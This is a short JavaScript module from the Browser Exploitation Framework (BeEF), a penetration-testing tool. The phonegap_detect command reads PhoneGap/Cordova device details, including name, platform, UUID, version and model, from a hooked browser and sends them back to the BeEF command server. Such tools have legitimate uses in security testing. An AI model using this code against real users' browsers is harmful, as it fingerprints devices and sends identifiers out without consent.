Path: blob/master/modules/phonegap/phonegap_detect/command.js
1154 views
//1// Copyright (c) 2006-2025 Wade Alcorn - [email protected]2// Browser Exploitation Framework (BeEF) - https://beefproject.com3// See the file 'doc/COPYING' for copying permission4//56// detect phonegap7//8beef.execute(function() {910var phonegap_details;1112try {13phonegap_details = ""14+ " name: " + device.name15+ " phonegap api: " + device.phonegap16+ " cordova api: " + device.cordova17+ " platform: " + device.platform18+ " uuid: " + device.uuid19+ " version: " + device.version20+ " model: " + device.model;21beef.net.send("<%= @command_url %>", <%= @command_id %>, "phonegap=" + phonegap_details, beef.are.status_success());22} catch(e) {23beef.net.send("<%= @command_url %>", <%= @command_id %>, "fail=unable to detect phonegap", beef.are.status_error());24}25});262728